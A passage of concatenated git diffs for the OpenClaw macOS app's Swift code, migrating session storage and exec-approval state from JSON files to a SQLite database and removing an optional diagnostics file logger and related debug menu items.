store.schedulerStorePath = "/tmp/openclaw-cron-store.json"
store.schedulerStoreKey = "default"
let job = CronJob(
id: "job-1",

View File

@@ -43,15 +43,15 @@ enum DebugActions {
}
@MainActor
static func openSessionStore() {
static func openSessionDatabase() {
if AppStateStore.shared.connectionMode == .remote {
let alert = NSAlert()
alert.messageText = "Remote mode"
alert.informativeText = "Session store lives on the gateway host in remote mode."
alert.informativeText = "Session database lives on the gateway host in remote mode."
alert.runModal()
return
}
let path = self.resolveSessionStorePath()
let path = self.resolveSessionDatabasePath()
let url = URL(fileURLWithPath: path)
if FileManager().fileExists(atPath: path) {
NSWorkspace.shared.activateFileViewerSelecting([url])
@@ -191,19 +191,8 @@ enum DebugActions {
}
@MainActor
private static func resolveSessionStorePath() -> String {
let defaultPath = SessionLoader.defaultStorePath
let configURL = OpenClawPaths.configURL
guard
let data = try? Data(contentsOf: configURL),
let parsed = try? JSONSerialization.jsonObject(with: data) as? [String: Any],
let session = parsed["session"] as? [String: Any],
let path = session["store"] as? String,
!path.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty
else {
return defaultPath
}
return path
private static func resolveSessionDatabasePath() -> String {
SessionLoader.defaultDatabasePath
}
// MARK: - Sessions (thinking / verbose)
@@ -244,8 +233,8 @@ enum DebugActions {
}
@MainActor
static func openSessionStoreInCode() {
let path = SessionLoader.defaultStorePath
static func openSessionDatabaseInCode() {
let path = SessionLoader.defaultDatabasePath
let proc = Process()
proc.launchPath = "/usr/bin/env"
proc.arguments = ["code", path]

View File

@@ -13,8 +13,7 @@ struct DebugSettings: View {
@State private var launchAgentWriteDisabled = GatewayLaunchAgentManager.isLaunchAgentWriteDisabled()
@State private var launchAgentWriteError: String?
@State private var gatewayRootInput: String = GatewayProcessManager.shared.projectRootPath()
@State private var sessionStorePath: String = SessionLoader.defaultStorePath
@State private var sessionStoreSaveError: String?
@State private var sessionDatabasePath: String = SessionLoader.defaultDatabasePath
@State private var debugSendInFlight = false
@State private var debugSendStatus: String?
@State private var debugSendError: String?
@@ -24,7 +23,6 @@ struct DebugSettings: View {
@State private var tunnelResetInFlight = false
@State private var tunnelResetStatus: String?
@State private var pendingKill: DebugActions.PortListener?
@AppStorage(debugFileLogEnabledKey) private var diagnosticsFileLogEnabled: Bool = false
@AppStorage(appLogLevelKey) private var appLogLevelRaw: String = AppLogLevel.default.rawValue
@State private var canvasSessionKey: String = "main"
@@ -61,7 +59,7 @@ struct DebugSettings: View {
}
.task {
guard !self.isPreview else { return }
self.loadSessionStorePath()
self.refreshSessionDatabasePath()
}
.alert(item: self.$pendingKill) { listener in
Alert(
@@ -284,28 +282,10 @@ struct DebugSettings: View {
.labelsHidden()
.help("Controls the macOS app log verbosity.")
Toggle("Write rolling diagnostics log (JSONL)", isOn: self.$diagnosticsFileLogEnabled)
.toggleStyle(.checkbox)
.help(
"Writes a rotating, local-only log under ~/Library/Logs/OpenClaw/. " +
"Enable only while actively debugging.")
HStack(spacing: 8) {
Button("Open folder") {
NSWorkspace.shared.open(DiagnosticsFileLog.logDirectoryURL())
}
.buttonStyle(.bordered)
Button("Clear") {
Task { try? await DiagnosticsFileLog.shared.clear() }
}
.buttonStyle(.bordered)
}
Text(DiagnosticsFileLog.logFileURL().path)
Text("Use Console.app or `log stream` for macOS app logs.")
.font(.caption2.monospaced())
.foregroundStyle(.secondary)
.textSelection(.enabled)
.lineLimit(1)
.truncationMode(.middle)
}
}
}
@@ -421,25 +401,17 @@ struct DebugSettings: View {
Grid(alignment: .leadingFirstTextBaseline, horizontalSpacing: 14, verticalSpacing: 10) {
GridRow {
self.gridLabel("Session store")
self.gridLabel("Session database")
VStack(alignment: .leading, spacing: 6) {
HStack(spacing: 8) {
TextField("Path", text: self.$sessionStorePath)
.textFieldStyle(.roundedBorder)
.font(.caption.monospaced())
.frame(width: 360)
Button("Save") { self.saveSessionStorePath() }
.buttonStyle(.borderedProminent)
}
if let sessionStoreSaveError {
Text(sessionStoreSaveError)
.font(.footnote)
.foregroundStyle(.secondary)
} else {
Text("Used by the CLI session loader; stored in ~/.openclaw/openclaw.json.")
.font(.footnote)
.foregroundStyle(.secondary)
}
Text(self.sessionDatabasePath)
.font(.caption.monospaced())
.foregroundStyle(.secondary)
.lineLimit(2)
.truncationMode(.middle)
.textSelection(.enabled)
Text("Runtime session state is stored in the per-agent SQLite database.")
.font(.footnote)
.foregroundStyle(.secondary)
}
}
}
@@ -710,31 +682,8 @@ struct DebugSettings: View {
GatewayProcessManager.shared.setProjectRoot(path: self.gatewayRootInput)
}
private func loadSessionStorePath() {
let parsed = OpenClawConfigFile.loadDict()
guard
let session = parsed["session"] as? [String: Any],
let path = session["store"] as? String
else {
self.sessionStorePath = SessionLoader.defaultStorePath
return
}
self.sessionStorePath = path
}
private func saveSessionStorePath() {
let trimmed = self.sessionStorePath.trimmingCharacters(in: .whitespacesAndNewlines)
var root = OpenClawConfigFile.loadDict()
var session = root["session"] as? [String: Any] ?? [:]
session["store"] = trimmed.isEmpty ? SessionLoader.defaultStorePath : trimmed
root["session"] = session
guard OpenClawConfigFile.saveDict(root) else {
self.sessionStoreSaveError = "Config write rejected to protect gateway auth/mode."
return
}
self.sessionStoreSaveError = nil
private func refreshSessionDatabasePath() {
self.sessionDatabasePath = SessionLoader.defaultDatabasePath
}
private var bindingOverride: Binding<String> {
@@ -971,8 +920,7 @@ extension DebugSettings {
static func exerciseForTesting() async {
let view = DebugSettings(state: .preview)
view.gatewayRootInput = "/tmp/openclaw"
view.sessionStorePath = "/tmp/sessions.json"
view.sessionStoreSaveError = "Save failed"
view.sessionDatabasePath = "/tmp/openclaw-agent.sqlite"
view.debugSendInFlight = true
view.debugSendStatus = "Sent"
view.debugSendError = "Failed"
@@ -1011,7 +959,7 @@ extension DebugSettings {
_ = view.experimentsSection
_ = view.gridLabel("Test")
view.loadSessionStorePath()
view.refreshSessionDatabasePath()
}
}
#endif

View File

@@ -1,133 +0,0 @@
import Foundation
actor DiagnosticsFileLog {
static let shared = DiagnosticsFileLog()
private let fileName = "diagnostics.jsonl"
private let maxBytes: Int64 = 5 * 1024 * 1024
private let maxBackups = 5
struct Record: Codable {
let ts: String
let pid: Int32
let category: String
let event: String
let fields: [String: String]?
}
nonisolated static func isEnabled() -> Bool {
UserDefaults.standard.bool(forKey: debugFileLogEnabledKey)
}
nonisolated static func logDirectoryURL() -> URL {
let library = FileManager().urls(for: .libraryDirectory, in: .userDomainMask).first
?? FileManager().homeDirectoryForCurrentUser.appendingPathComponent("Library", isDirectory: true)
return library
.appendingPathComponent("Logs", isDirectory: true)
.appendingPathComponent("OpenClaw", isDirectory: true)
}
nonisolated static func logFileURL() -> URL {
self.logDirectoryURL().appendingPathComponent("diagnostics.jsonl", isDirectory: false)
}
nonisolated func log(category: String, event: String, fields: [String: String]? = nil) {
guard Self.isEnabled() else { return }
let record = Record(
ts: ISO8601DateFormatter().string(from: Date()),
pid: ProcessInfo.processInfo.processIdentifier,
category: category,
event: event,
fields: fields)
Task { await self.write(record: record) }
}
func clear() throws {
let fm = FileManager()
let base = Self.logFileURL()
if fm.fileExists(atPath: base.path) {
try fm.removeItem(at: base)
}
for idx in 1...self.maxBackups {
let url = self.rotatedURL(index: idx)
if fm.fileExists(atPath: url.path) {
try fm.removeItem(at: url)
}
}
}
private func write(record: Record) {
do {
try self.ensureDirectory()
try self.rotateIfNeeded()
try self.append(record: record)
} catch {
// Best-effort only: never crash or block the app on logging.
}
}
private func ensureDirectory() throws {
try FileManager().createDirectory(
at: Self.logDirectoryURL(),
withIntermediateDirectories: true)
}
private func append(record: Record) throws {
let url = Self.logFileURL()
let data = try JSONEncoder().encode(record)
var line = Data()
line.append(data)
line.append(0x0A) // newline
let fm = FileManager()
if !fm.fileExists(atPath: url.path) {
fm.createFile(atPath: url.path, contents: nil)
}
let handle = try FileHandle(forWritingTo: url)
defer { try? handle.close() }
try handle.seekToEnd()
try handle.write(contentsOf: line)
}
private func rotateIfNeeded() throws {
let url = Self.logFileURL()
guard let attrs = try? FileManager().attributesOfItem(atPath: url.path),
let size = attrs[.size] as? NSNumber
else { return }
if size.int64Value < self.maxBytes { return }
let fm = FileManager()
let oldest = self.rotatedURL(index: self.maxBackups)
if fm.fileExists(atPath: oldest.path) {
try fm.removeItem(at: oldest)
}
if self.maxBackups > 1 {
for idx in stride(from: self.maxBackups - 1, through: 1, by: -1) {
let src = self.rotatedURL(index: idx)
let dst = self.rotatedURL(index: idx + 1)
if fm.fileExists(atPath: src.path) {
if fm.fileExists(atPath: dst.path) {
try fm.removeItem(at: dst)
}
try fm.moveItem(at: src, to: dst)
}
}
}
let first = self.rotatedURL(index: 1)
if fm.fileExists(atPath: first.path) {
try fm.removeItem(at: first)
}
if fm.fileExists(atPath: url.path) {
try fm.moveItem(at: url, to: first)
}
}
private func rotatedURL(index: Int) -> URL {
Self.logDirectoryURL().appendingPathComponent("\(self.fileName).\(index)", isDirectory: false)
}
}

View File

@@ -226,17 +226,20 @@ enum ExecApprovalsStore {
private static let defaultAsk: ExecAsk = .onMiss
private static let defaultAskFallback: ExecSecurity = .deny
private static let defaultAutoAllowSkills = false
private static let secureStateDirPermissions = 0o700
private static let fileLock = NSRecursiveLock()
private static let storeLock = NSRecursiveLock()
private static func withFileLock<T>(_ body: () throws -> T) rethrows -> T {
self.fileLock.lock()
defer { self.fileLock.unlock() }
private static func withStoreLock<T>(_ body: () throws -> T) rethrows -> T {
self.storeLock.lock()
defer { self.storeLock.unlock() }
return try body()
}
static func fileURL() -> URL {
OpenClawPaths.stateDirURL.appendingPathComponent("exec-approvals.json")
static func databaseURL() -> URL {
ExecApprovalsSQLiteStateStore.databaseURL()
}
static func storeLocationForDisplay() -> String {
ExecApprovalsSQLiteStateStore.storeLocationForDisplay()
}
static func socketPath() -> String {
@@ -277,30 +280,13 @@ enum ExecApprovalsStore {
}
static func readSnapshot() -> ExecApprovalsSnapshot {
self.withFileLock {
let url = self.fileURL()
guard FileManager().fileExists(atPath: url.path) else {
return ExecApprovalsSnapshot(
path: url.path,
exists: false,
hash: self.hashRaw(nil),
file: ExecApprovalsFile(version: 1, socket: nil, defaults: nil, agents: [:]))
}
let raw = try? String(contentsOf: url, encoding: .utf8)
let data = raw.flatMap { $0.data(using: .utf8) }
let decoded: ExecApprovalsFile = {
if let data, let file = try? JSONDecoder().decode(ExecApprovalsFile.self, from: data),
file.version == 1
{
return file
}
return ExecApprovalsFile(version: 1, socket: nil, defaults: nil, agents: [:])
}()
self.withStoreLock {
let raw = ExecApprovalsSQLiteStateStore.readRawState()
return ExecApprovalsSnapshot(
path: url.path,
exists: true,
path: self.storeLocationForDisplay(),
exists: raw != nil,
hash: self.hashRaw(raw),
file: decoded)
file: self.parseRawState(raw))
}
}
@@ -320,54 +306,26 @@ enum ExecApprovalsStore {
agents: file.agents)
}
static func loadFile() -> ExecApprovalsFile {
self.withFileLock {
let url = self.fileURL()
guard FileManager().fileExists(atPath: url.path) else {
return ExecApprovalsFile(version: 1, socket: nil, defaults: nil, agents: [:])
}
do {
let data = try Data(contentsOf: url)
let decoded = try JSONDecoder().decode(ExecApprovalsFile.self, from: data)
if decoded.version != 1 {
return ExecApprovalsFile(version: 1, socket: nil, defaults: nil, agents: [:])
}
return decoded
} catch {
self.logger.warning("exec approvals load failed: \(error.localizedDescription, privacy: .public)")
return ExecApprovalsFile(version: 1, socket: nil, defaults: nil, agents: [:])
}
static func loadState() -> ExecApprovalsFile {
self.withStoreLock {
self.parseRawState(ExecApprovalsSQLiteStateStore.readRawState())
}
}
static func saveFile(_ file: ExecApprovalsFile) {
self.withFileLock {
static func saveState(_ file: ExecApprovalsFile) {
self.withStoreLock {
do {
let encoder = JSONEncoder()
encoder.outputFormatting = [.prettyPrinted, .sortedKeys]
let data = try encoder.encode(file)
let url = self.fileURL()
self.ensureSecureStateDirectory()
try FileManager().createDirectory(
at: url.deletingLastPathComponent(),
withIntermediateDirectories: true)
try data.write(to: url, options: [.atomic])
try? FileManager().setAttributes([.posixPermissions: 0o600], ofItemAtPath: url.path)
try ExecApprovalsSQLiteStateStore.writeRawState(self.encodeRawState(file))
} catch {
self.logger.error("exec approvals save failed: \(error.localizedDescription, privacy: .public)")
}
}
}
static func ensureFile() -> ExecApprovalsFile {
self.withFileLock {
self.ensureSecureStateDirectory()
let url = self.fileURL()
let existed = FileManager().fileExists(atPath: url.path)
let loaded = self.loadFile()
let loadedHash = self.hashFile(loaded)
var file = self.normalizeIncoming(loaded)
static func ensureState() -> ExecApprovalsFile {
self.withStoreLock {
let snapshot = self.readSnapshot()
var file = self.normalizeIncoming(snapshot.file)
if file.socket == nil { file.socket = ExecApprovalsSocketConfig(path: nil, token: nil) }
let path = file.socket?.path?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
if path.isEmpty {
@@ -378,26 +336,26 @@ enum ExecApprovalsStore {
file.socket?.token = self.generateToken()
}
if file.agents == nil { file.agents = [:] }
if !existed || loadedHash != self.hashFile(file) {
self.saveFile(file)
if !snapshot.exists || snapshot.hash != self.hashRaw(self.encodeRawState(file)) {
self.saveState(file)
}
return file
}
}
static func resolve(agentId: String?) -> ExecApprovalsResolved {
let file = self.ensureFile()
return self.resolveFromFile(file, agentId: agentId)
let file = self.ensureState()
return self.resolveFromState(file, agentId: agentId)
}
/// Read-only resolve: loads file without writing (no ensureFile side effects).
/// Read-only resolve: loads SQLite state without writing missing defaults.
/// Safe to call from background threads / off MainActor.
static func resolveReadOnly(agentId: String?) -> ExecApprovalsResolved {
let file = self.loadFile()
return self.resolveFromFile(file, agentId: agentId)
let file = self.loadState()
return self.resolveFromState(file, agentId: agentId)
}
private static func resolveFromFile(_ file: ExecApprovalsFile, agentId: String?) -> ExecApprovalsResolved {
private static func resolveFromState(_ file: ExecApprovalsFile, agentId: String?) -> ExecApprovalsResolved {
let defaults = file.defaults ?? ExecApprovalsDefaults()
let resolvedDefaults = ExecApprovalsResolvedDefaults(
security: defaults.security ?? self.defaultSecurity,
@@ -420,7 +378,7 @@ enum ExecApprovalsStore {
let socketPath = self.expandPath(file.socket?.path ?? self.socketPath())
let token = file.socket?.token ?? ""
return ExecApprovalsResolved(
url: self.fileURL(),
url: self.databaseURL(),
socketPath: socketPath,
token: token,
defaults: resolvedDefaults,
@@ -430,7 +388,7 @@ enum ExecApprovalsStore {
}
static func resolveDefaults() -> ExecApprovalsResolvedDefaults {
let file = self.ensureFile()
let file = self.ensureState()
let defaults = file.defaults ?? ExecApprovalsDefaults()
return ExecApprovalsResolvedDefaults(
security: defaults.security ?? self.defaultSecurity,
@@ -440,13 +398,13 @@ enum ExecApprovalsStore {
}
static func saveDefaults(_ defaults: ExecApprovalsDefaults) {
self.updateFile { file in
self.updateState { file in
file.defaults = defaults
}
}
static func updateDefaults(_ mutate: (inout ExecApprovalsDefaults) -> Void) {
self.updateFile { file in
self.updateState { file in
var defaults = file.defaults ?? ExecApprovalsDefaults()
mutate(&defaults)
file.defaults = defaults
@@ -454,7 +412,7 @@ enum ExecApprovalsStore {
}
static func saveAgent(_ agent: ExecApprovalsAgent, agentId: String?) {
self.updateFile { file in
self.updateState { file in
var agents = file.agents ?? [:]
let key = self.agentKey(agentId)
if agent.isEmpty {
@@ -476,7 +434,7 @@ enum ExecApprovalsStore {
return reason
}
self.updateFile { file in
self.updateState { file in
let key = self.agentKey(agentId)
var agents = file.agents ?? [:]
var entry = agents[key] ?? ExecApprovalsAgent()
@@ -498,7 +456,7 @@ enum ExecApprovalsStore {
command: String,
resolvedPath: String?)
{
self.updateFile { file in
self.updateState { file in
let key = self.agentKey(agentId)
var agents = file.agents ?? [:]
var entry = agents[key] ?? ExecApprovalsAgent()
@@ -520,7 +478,7 @@ enum ExecApprovalsStore {
@discardableResult
static func updateAllowlist(agentId: String?, allowlist: [ExecAllowlistEntry]) -> [ExecAllowlistRejectedEntry] {
var rejected: [ExecAllowlistRejectedEntry] = []
self.updateFile { file in
self.updateState { file in
let key = self.agentKey(agentId)
var agents = file.agents ?? [:]
var entry = agents[key] ?? ExecApprovalsAgent()
@@ -535,7 +493,7 @@ enum ExecApprovalsStore {
}
static func updateAgentSettings(agentId: String?, mutate: (inout ExecApprovalsAgent) -> Void) {
self.updateFile { file in
self.updateState { file in
let key = self.agentKey(agentId)
var agents = file.agents ?? [:]
var entry = agents[key] ?? ExecApprovalsAgent()
@@ -549,28 +507,35 @@ enum ExecApprovalsStore {
}
}
private static func updateFile(_ mutate: (inout ExecApprovalsFile) -> Void) {
self.withFileLock {
var file = self.ensureFile()
private static func updateState(_ mutate: (inout ExecApprovalsFile) -> Void) {
self.withStoreLock {
var file = self.ensureState()
mutate(&file)
self.saveFile(file)
self.saveState(file)
}
}
private static func ensureSecureStateDirectory() {
let url = OpenClawPaths.stateDirURL
do {
try FileManager().createDirectory(at: url, withIntermediateDirectories: true)
try FileManager().setAttributes(
[.posixPermissions: self.secureStateDirPermissions],
ofItemAtPath: url.path)
} catch {
let message =
"exec approvals state dir permission hardening failed: \(error.localizedDescription)"
self.logger
.warning(
"\(message, privacy: .public)")
private static func parseRawState(_ raw: String?) -> ExecApprovalsFile {
guard let data = raw?.data(using: .utf8) else {
return ExecApprovalsFile(version: 1, socket: nil, defaults: nil, agents: [:])
}
do {
let decoded = try JSONDecoder().decode(ExecApprovalsFile.self, from: data)
guard decoded.version == 1 else {
return ExecApprovalsFile(version: 1, socket: nil, defaults: nil, agents: [:])
}
return decoded
} catch {
self.logger.warning("exec approvals load failed: \(error.localizedDescription, privacy: .public)")
return ExecApprovalsFile(version: 1, socket: nil, defaults: nil, agents: [:])
}
}
private static func encodeRawState(_ file: ExecApprovalsFile) -> String {
let encoder = JSONEncoder()
encoder.outputFormatting = [.prettyPrinted, .sortedKeys]
let data = (try? encoder.encode(file)) ?? Data()
return (String(data: data, encoding: .utf8) ?? "{}") + "\n"
}
private static func generateToken() -> String {
@@ -592,14 +557,6 @@ enum ExecApprovalsStore {
return digest.map { String(format: "%02x", $0) }.joined()
}
private static func hashFile(_ file: ExecApprovalsFile) -> String {
let encoder = JSONEncoder()
encoder.outputFormatting = [.sortedKeys]
let data = (try? encoder.encode(file)) ?? Data()
let digest = SHA256.hash(data: data)
return digest.map { String(format: "%02x", $0) }.joined()
}
private static func expandPath(_ raw: String) -> String {
let trimmed = raw.trimmingCharacters(in: .whitespacesAndNewlines)
if trimmed == "~" {

View File

@@ -0,0 +1,62 @@
import Foundation
import OpenClawKit
enum ExecApprovalsSQLiteStateStore {
private static let configKey = "current"
static func databaseURL() -> URL {
OpenClawSQLiteStateStore.databaseURL()
}
static func storeLocationForDisplay() -> String {
OpenClawSQLiteStateStore.execApprovalsLocationForDisplay(configKey: self.configKey)
}
static func readRawState() -> String? {
if let raw = OpenClawSQLiteStateStore.readExecApprovalsRaw(configKey: self.configKey) {
return raw
}
guard let raw = try? String(contentsOf: self.legacyURL(), encoding: .utf8) else {
return nil
}
do {
try self.writeRawState(raw)
try? FileManager.default.removeItem(at: self.legacyURL())
} catch {
return raw
}
return raw
}
static func writeRawState(_ raw: String) throws {
let file = self.parse(raw)
let agents = file.agents.map { Array($0.values) } ?? []
let allowlistCount = agents.reduce(0) { count, agent in
count + (agent.allowlist?.count ?? 0)
}
try OpenClawSQLiteStateStore.writeExecApprovalsConfig(
configKey: self.configKey,
rawJSON: raw,
socketPath: file.socket?.path,
hasSocketToken: !(file.socket?.token?.isEmpty ?? true),
defaultSecurity: file.defaults?.security?.rawValue,
defaultAsk: file.defaults?.ask?.rawValue,
defaultAskFallback: file.defaults?.askFallback?.rawValue,
autoAllowSkills: file.defaults?.autoAllowSkills,
agentCount: agents.count,
allowlistCount: allowlistCount)
}
private static func parse(_ raw: String) -> ExecApprovalsFile {
guard let data = raw.data(using: .utf8),
let file = try? JSONDecoder().decode(ExecApprovalsFile.self, from: data)
else {
return ExecApprovalsFile(version: 1, socket: nil, defaults: nil, agents: nil)
}
return file
}
private static func legacyURL() -> URL {
OpenClawPaths.stateDirURL.appendingPathComponent("exec-approvals.json", isDirectory: false)
}
}

View File

@@ -766,7 +766,7 @@ extension GatewayConnection {
struct CronSchedulerStatus: Decodable {
let enabled: Bool
let storePath: String
let storeKey: String
let jobs: Int
let nextWakeAtMs: Int?
}

View File

@@ -708,7 +708,7 @@ struct GeneralSettings: View {
Text("\(linkLabel) auth age: \(healthAgeString(linkAge))")
.font(.caption)
.foregroundStyle(.secondary)
Text("Session store: \(snap.sessions.path) (\(snap.sessions.count) entries)")
Text("Session database: \(snap.sessions.databasePath) (\(snap.sessions.count) entries)")
.font(.caption)
.foregroundStyle(.secondary)
if let recent = snap.sessions.recent.first {

View File

@@ -36,9 +36,37 @@ struct HealthSnapshot: Codable {
}
struct Sessions: Codable {
let path: String
let databasePath: String
let count: Int
let recent: [SessionInfo]
private enum CodingKeys: String, CodingKey {
case databasePath
case path
case count
case recent
}
init(databasePath: String, count: Int, recent: [SessionInfo]) {
self.databasePath = databasePath
self.count = count
self.recent = recent
}
init(from decoder: Decoder) throws {
let container = try decoder.container(keyedBy: CodingKeys.self)
self.databasePath = try container.decodeIfPresent(String.self, forKey: .databasePath)
?? container.decode(String.self, forKey: .path)
self.count = try container.decode(Int.self, forKey: .count)
self.recent = try container.decode([SessionInfo].self, forKey: .recent)
}
func encode(to encoder: Encoder) throws {
var container = encoder.container(keyedBy: CodingKeys.self)
try container.encode(self.databasePath, forKey: .databasePath)
try container.encode(self.count, forKey: .count)
try container.encode(self.recent, forKey: .recent)
}
}
let ok: Bool?

View File

@@ -20,10 +20,6 @@ enum AppLogSettings {
static func setLogLevel(_ level: Logger.Level) {
UserDefaults.standard.set(level.rawValue, forKey: self.logLevelKey)
}
static func fileLoggingEnabled() -> Bool {
UserDefaults.standard.bool(forKey: debugFileLogEnabledKey)
}
}
enum AppLogLevel: String, CaseIterable, Identifiable {
@@ -60,9 +56,7 @@ enum OpenClawLogging {
private static let didBootstrap: Void = {
LoggingSystem.bootstrap { label in
let (subsystem, category) = Self.parseLabel(label)
let osHandler = OpenClawOSLogHandler(subsystem: subsystem, category: category)
let fileHandler = OpenClawFileLogHandler(label: label)
return MultiplexLogHandler([osHandler, fileHandler])
return OpenClawOSLogHandler(subsystem: subsystem, category: category)
}
}()
@@ -193,65 +187,3 @@ struct OpenClawOSLogHandler: AppLogLevelBackedHandler {
return "\(message.description) [\(meta)]"
}
}
struct OpenClawFileLogHandler: AppLogLevelBackedHandler {
let label: String
var metadata: Logger.Metadata = [:]
func log(event: LogEvent) {
self.writeLog(
level: event.level,
message: event.message,
metadata: event.metadata,
source: event.source,
file: event.file,
function: event.function,
line: event.line)
}
func log(
level: Logger.Level,
message: Logger.Message,
metadata: Logger.Metadata?,
source: String,
file: String,
function: String,
line: UInt)
{
self.writeLog(
level: level,
message: message,
metadata: metadata,
source: source,
file: file,
function: function,
line: line)
}
private func writeLog(
level: Logger.Level,
message: Logger.Message,
metadata: Logger.Metadata?,
source: String,
file: String,
function: String,
line: UInt)
{
guard AppLogSettings.fileLoggingEnabled() else { return }
let (subsystem, category) = OpenClawLogging.parseLabel(self.label)
var fields: [String: String] = [
"subsystem": subsystem,
"category": category,
"level": level.rawValue,
"source": source,
"file": file,
"function": function,
"line": "\(line)",
]
let merged = self.metadata.merging(metadata ?? [:], uniquingKeysWith: { _, new in new })
for (key, value) in merged {
fields["meta.\(key)"] = stringifyLogMetadataValue(value)
}
DiagnosticsFileLog.shared.log(category: category, event: message.description, fields: fields)
}
}

View File

@@ -25,7 +25,6 @@ struct MenuContent: View {
@State private var browserControlEnabled = true
@AppStorage(cameraEnabledKey) private var cameraEnabled: Bool = false
@AppStorage(appLogLevelKey) private var appLogLevelRaw: String = AppLogLevel.default.rawValue
@AppStorage(debugFileLogEnabledKey) private var appFileLoggingEnabled: Bool = false
init(state: AppState, updater: UpdaterProviding?) {
self._state = Bindable(wrappedValue: state)
@@ -258,20 +257,13 @@ struct MenuContent: View {
Text(level.title).tag(level.rawValue)
}
}
Toggle(isOn: self.$appFileLoggingEnabled) {
Label(
self.appFileLoggingEnabled
? "File Logging: On"
: "File Logging: Off",
systemImage: "doc.text.magnifyingglass")
}
} label: {
Label("App Logging", systemImage: "doc.text")
}
Button {
DebugActions.openSessionStore()
DebugActions.openSessionDatabase()
} label: {
Label("Open Session Store", systemImage: "externaldrive")
Label("Open Session Database", systemImage: "externaldrive")
}
Divider()
Button {

View File

@@ -335,7 +335,7 @@ extension MenuSessionsInjector {
item.tag = self.tag
item.isEnabled = true
item.representedObject = row.key
item.submenu = self.buildSubmenu(for: row, storePath: snapshot.storePath)
item.submenu = self.buildSubmenu(for: row)
item.view = self.makeHostedView(
rootView: AnyView(SessionMenuLabelView(row: row, width: width)),
width: width,
@@ -841,7 +841,7 @@ extension MenuSessionsInjector {
extension MenuSessionsInjector {
// MARK: - Submenus
private func buildSubmenu(for row: SessionRow, storePath: String) -> NSMenu {
private func buildSubmenu(for row: SessionRow) -> NSMenu {
let menu = NSMenu()
let width = self.submenuWidth()
@@ -865,24 +865,6 @@ extension MenuSessionsInjector {
verbose.submenu = self.buildVerboseMenu(for: row)
menu.addItem(verbose)
if AppStateStore.shared.debugPaneEnabled,
AppStateStore.shared.connectionMode == .local,
let sessionId = row.sessionId,
!sessionId.isEmpty
{
menu.addItem(NSMenuItem.separator())
let openLog = NSMenuItem(
title: "Open Session Log",
action: #selector(self.openSessionLog(_:)),
keyEquivalent: "")
openLog.target = self
openLog.representedObject = [
"sessionId": sessionId,
"storePath": storePath,
]
menu.addItem(openLog)
}
menu.addItem(NSMenuItem.separator())
let reset = NSMenuItem(title: "Reset Session", action: #selector(self.resetSession(_:)), keyEquivalent: "")
@@ -1091,15 +1073,6 @@ extension MenuSessionsInjector {
}
}
@objc
private func openSessionLog(_ sender: NSMenuItem) {
guard let dict = sender.representedObject as? [String: String],
let sessionId = dict["sessionId"],
let storePath = dict["storePath"]
else { return }
SessionActions.openSessionLogInCode(sessionId: sessionId, storePath: storePath)
}
@objc
private func resetSession(_ sender: NSMenuItem) {
guard let key = sender.representedObject as? String else { return }

View File

@@ -817,7 +817,7 @@ actor MacNodeRuntime {
}
private func handleSystemExecApprovalsGet(_ req: BridgeInvokeRequest) async throws -> BridgeInvokeResponse {
_ = ExecApprovalsStore.ensureFile()
_ = ExecApprovalsStore.ensureState()
let snapshot = ExecApprovalsStore.readSnapshot()
let redacted = ExecApprovalsSnapshot(
path: snapshot.path,
@@ -835,7 +835,7 @@ actor MacNodeRuntime {
}
let params = try Self.decodeParams(SetParams.self, from: req.paramsJSON)
let current = ExecApprovalsStore.ensureFile()
let current = ExecApprovalsStore.ensureState()
let snapshot = ExecApprovalsStore.readSnapshot()
if snapshot.exists {
if snapshot.hash.isEmpty {
@@ -871,7 +871,7 @@ actor MacNodeRuntime {
: current.socket?.token?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
normalized.socket = ExecApprovalsSocketConfig(path: resolvedPath, token: resolvedToken)
ExecApprovalsStore.saveFile(normalized)
ExecApprovalsStore.saveState(normalized)
let nextSnapshot = ExecApprovalsStore.readSnapshot()
let redacted = ExecApprovalsSnapshot(
path: nextSnapshot.path,

View File

@@ -819,8 +819,8 @@ extension OnboardingView {
self.featureRow(
title: "Remote gateway checklist",
subtitle: """
On your gateway host: install/update the `openclaw` package and make sure credentials exist
(typically `~/.openclaw/credentials/oauth.json`). Then connect again if needed.
On your gateway host: install/update the `openclaw` package and make sure credentials are present
in the OpenClaw SQLite state database. Then connect again if needed.
""",
systemImage: "network")
Divider()

View File

@@ -1,12 +1,13 @@
import CryptoKit
import Foundation
import OpenClawKit
import OpenClawProtocol
enum OpenClawConfigFile {
private static let logger = Logger(subsystem: "ai.openclaw", category: "config")
private static let configAuditFileName = "config-audit.jsonl"
private static let configHealthFileName = "config-health.json"
private static let legacyConfigHealthFileName = "config-health.json"
private static let fileLock = NSRecursiveLock()
private nonisolated(unsafe) static var configHealthState: [String: Any] = [:]
private static func withFileLock<T>(_ body: () throws -> T) rethrows -> T {
self.fileLock.lock()
@@ -66,7 +67,6 @@ enum OpenClawConfigFile {
let previousData = try? Data(contentsOf: url)
let previousRoot = previousData.flatMap { self.parseConfigData($0) }
let previousBytes = previousData?.count
let previousAttributes = try? FileManager().attributesOfItem(atPath: url.path)
let hadMetaBefore = self.hasMeta(previousRoot)
let gatewayModeBefore = self.gatewayMode(previousRoot)
@@ -97,88 +97,21 @@ enum OpenClawConfigFile {
}
let blocking = self.configWriteBlockingReasons(suspicious)
if !blocking.isEmpty {
let rejectedPath = self.persistRejectedConfigWrite(data: data, configURL: url)
_ = self.persistRejectedConfigWrite(data: data, configURL: url)
self.logger.warning("config write rejected (\(blocking.joined(separator: ", "))) at \(url.path)")
self.appendConfigWriteAudit([
"result": "rejected",
"configPath": url.path,
"existsBefore": previousData != nil,
"previousBytes": previousBytes ?? NSNull(),
"nextBytes": nextBytes,
"previousDev": self.fileSystemNumber(previousAttributes?[.systemNumber]) ?? NSNull(),
"nextDev": NSNull(),
"previousIno": self.fileSystemNumber(previousAttributes?[.systemFileNumber]) ?? NSNull(),
"nextIno": NSNull(),
"previousMode": self.posixMode(previousAttributes?[.posixPermissions]) ?? NSNull(),
"nextMode": NSNull(),
"previousNlink": self.fileAttributeInt(previousAttributes?[.referenceCount]) ?? NSNull(),
"nextNlink": NSNull(),
"previousUid": self.fileAttributeInt(previousAttributes?[.ownerAccountID]) ?? NSNull(),
"nextUid": NSNull(),
"previousGid": self.fileAttributeInt(previousAttributes?[.groupOwnerAccountID]) ?? NSNull(),
"nextGid": NSNull(),
"hasMetaBefore": hadMetaBefore,
"hasMetaAfter": self.hasMeta(output),
